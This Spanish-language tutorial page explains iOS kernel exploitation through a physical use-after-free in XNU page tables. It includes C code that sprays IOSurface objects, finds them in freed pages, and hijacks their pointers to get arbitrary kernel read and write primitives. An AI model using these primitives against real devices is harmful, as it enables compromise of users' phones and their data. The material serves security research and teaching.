iOS Exploiting

Uso físico después de liberar

Este es un resumen de la publicación de https://alfiecg.uk/2024/09/24/Kernel-exploit.html además de que se puede encontrar más información sobre el exploit utilizando esta técnica en https://github.com/felix-pb/kfd

Gestión de memoria en XNU

El espacio de direcciones de memoria virtual para procesos de usuario en iOS abarca desde 0x0 hasta 0x8000000000. Sin embargo, estas direcciones no se mapean directamente a la memoria física. En cambio, el núcleo utiliza tablas de páginas para traducir direcciones virtuales en direcciones físicas reales.

Niveles de Tablas de Páginas en iOS

Las tablas de páginas están organizadas jerárquicamente en tres niveles:

  1. Tabla de Páginas L1 (Nivel 1):

  • Cada entrada aquí representa un amplio rango de memoria virtual.

  • Cubre 0x1000000000 bytes (o 256 GB) de memoria virtual.

  1. Tabla de Páginas L2 (Nivel 2):

  • Una entrada aquí representa una región más pequeña de memoria virtual, específicamente 0x2000000 bytes (32 MB).

  • Una entrada L1 puede apuntar a una tabla L2 si no puede mapear toda la región por sí misma.

  1. Tabla de Páginas L3 (Nivel 3):

  • Este es el nivel más fino, donde cada entrada mapea una única página de memoria de 4 KB.

  • Una entrada L2 puede apuntar a una tabla L3 si se necesita un control más granular.

Mapeo de Memoria Virtual a Física

  • Mapeo Directo (Mapeo por Bloque):

  • Algunas entradas en una tabla de páginas mapean directamente un rango de direcciones virtuales a un rango contiguo de direcciones físicas (como un atajo).

  • Puntero a Tabla de Páginas Hija:

  • Si se necesita un control más fino, una entrada en un nivel (por ejemplo, L1) puede apuntar a una tabla de páginas hija en el siguiente nivel (por ejemplo, L2).

Ejemplo: Mapeo de una Dirección Virtual

Supongamos que intentas acceder a la dirección virtual 0x1000000000:

  1. Tabla L1:

  • El núcleo verifica la entrada de la tabla de páginas L1 correspondiente a esta dirección virtual. Si tiene un puntero a una tabla de páginas L2, va a esa tabla L2.

  1. Tabla L2:

  • El núcleo verifica la tabla de páginas L2 para un mapeo más detallado. Si esta entrada apunta a una tabla de páginas L3, procede allí.

  1. Tabla L3:

  • El núcleo busca la entrada final L3, que apunta a la dirección física de la página de memoria real.

Ejemplo de Mapeo de Direcciones

Si escribes la dirección física 0x800004000 en el primer índice de la tabla L2, entonces:

  • Las direcciones virtuales desde 0x1000000000 hasta 0x1002000000 se mapean a direcciones físicas desde 0x800004000 hasta 0x802004000.

  • Este es un mapeo por bloque a nivel L2.

Alternativamente, si la entrada L2 apunta a una tabla L3:

  • Cada página de 4 KB en el rango de direcciones virtuales 0x1000000000 -> 0x1002000000 sería mapeada por entradas individuales en la tabla L3.

Uso físico después de liberar

Un uso físico después de liberar (UAF) ocurre cuando:

  1. Un proceso asigna algo de memoria como legible y escribible.

  2. Las tablas de páginas se actualizan para mapear esta memoria a una dirección física específica a la que el proceso puede acceder.

  3. El proceso desasigna (libera) la memoria.

  4. Sin embargo, debido a un error, el núcleo olvida eliminar el mapeo de las tablas de páginas, aunque marca la memoria física correspondiente como libre.

  5. El núcleo puede entonces reasignar esta memoria física "liberada" para otros propósitos, como datos del núcleo.

  6. Dado que el mapeo no se eliminó, el proceso aún puede leer y escribir en esta memoria física.

Esto significa que el proceso puede acceder a páginas de memoria del núcleo, que podrían contener datos o estructuras sensibles, lo que potencialmente permite a un atacante manipular la memoria del núcleo.

Estrategia de Explotación: Heap Spray

Dado que el atacante no puede controlar qué páginas específicas del núcleo se asignarán a la memoria liberada, utilizan una técnica llamada heap spray:

  1. El atacante crea un gran número de objetos IOSurface en la memoria del núcleo.

  2. Cada objeto IOSurface contiene un valor mágico en uno de sus campos, lo que facilita su identificación.

  3. Ellos escanean las páginas liberadas para ver si alguno de estos objetos IOSurface aterrizó en una página liberada.

  4. Cuando encuentran un objeto IOSurface en una página liberada, pueden usarlo para leer y escribir en la memoria del núcleo.

Más información sobre esto en https://github.com/felix-pb/kfd/tree/main/writeups

Proceso Paso a Paso de Heap Spray

  1. Rociar Objetos IOSurface: El atacante crea muchos objetos IOSurface con un identificador especial ("valor mágico").

  2. Escanear Páginas Liberadas: Verifican si alguno de los objetos ha sido asignado en una página liberada.

  3. Leer/Escribir en la Memoria del Núcleo: Al manipular campos en el objeto IOSurface, obtienen la capacidad de realizar lecturas y escrituras arbitrarias en la memoria del núcleo. Esto les permite:

  • Usar un campo para leer cualquier valor de 32 bits en la memoria del núcleo.

  • Usar otro campo para escribir valores de 64 bits, logrando un primitivo de lectura/escritura estable en el núcleo.

Generar objetos IOSurface con el valor mágico IOSURFACE_MAGIC para buscar más tarde:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Busca objetos IOSurface en una página física liberada:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Logrando Lectura/Escritura en el Kernel con IOSurface

Después de lograr el control sobre un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde el espacio de usuario), podemos usarlo para operaciones arbitrarias de lectura y escritura en el kernel.

Campos Clave en IOSurface

El objeto IOSurface tiene dos campos cruciales:

  1. Puntero de Conteo de Uso: Permite una lectura de 32 bits.

  2. Puntero de Marca de Tiempo Indexada: Permite una escritura de 64 bits.

Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura.

Lectura de Kernel de 32 Bits

Para realizar una lectura:

  1. Sobrescribe el puntero de conteo de uso para que apunte a la dirección objetivo menos un desplazamiento de 0x14 bytes.

  2. Usa el método get_use_count para leer el valor en esa dirección.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

Escritura en el Kernel de 64 Bits

Para realizar una escritura:

  1. Sobrescribe el puntero de marca de tiempo indexado a la dirección objetivo.

  2. Usa el método set_indexed_timestamp para escribir un valor de 64 bits.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Resumen del Flujo de Explotación

  1. Activar Uso-Físico Después de Liberar: Las páginas liberadas están disponibles para reutilización.

  2. Rociar Objetos IOSurface: Asignar muchos objetos IOSurface con un "valor mágico" único en la memoria del kernel.

  3. Identificar IOSurface Accesible: Localizar un IOSurface en una página liberada que controlas.

  4. Abusar del Uso-Físico Después de Liberar: Modificar punteros en el objeto IOSurface para habilitar lecturas/escrituras arbitrarias en el kernel a través de métodos IOSurface.

Con estas primitivas, la explotación proporciona lecturas de 32 bits y escrituras de 64 bits en la memoria del kernel. Los pasos adicionales de jailbreak podrían involucrar primitivas de lectura/escritura más estables, lo que puede requerir eludir protecciones adicionales (por ejemplo, PPL en dispositivos arm64e más nuevos).

Last updated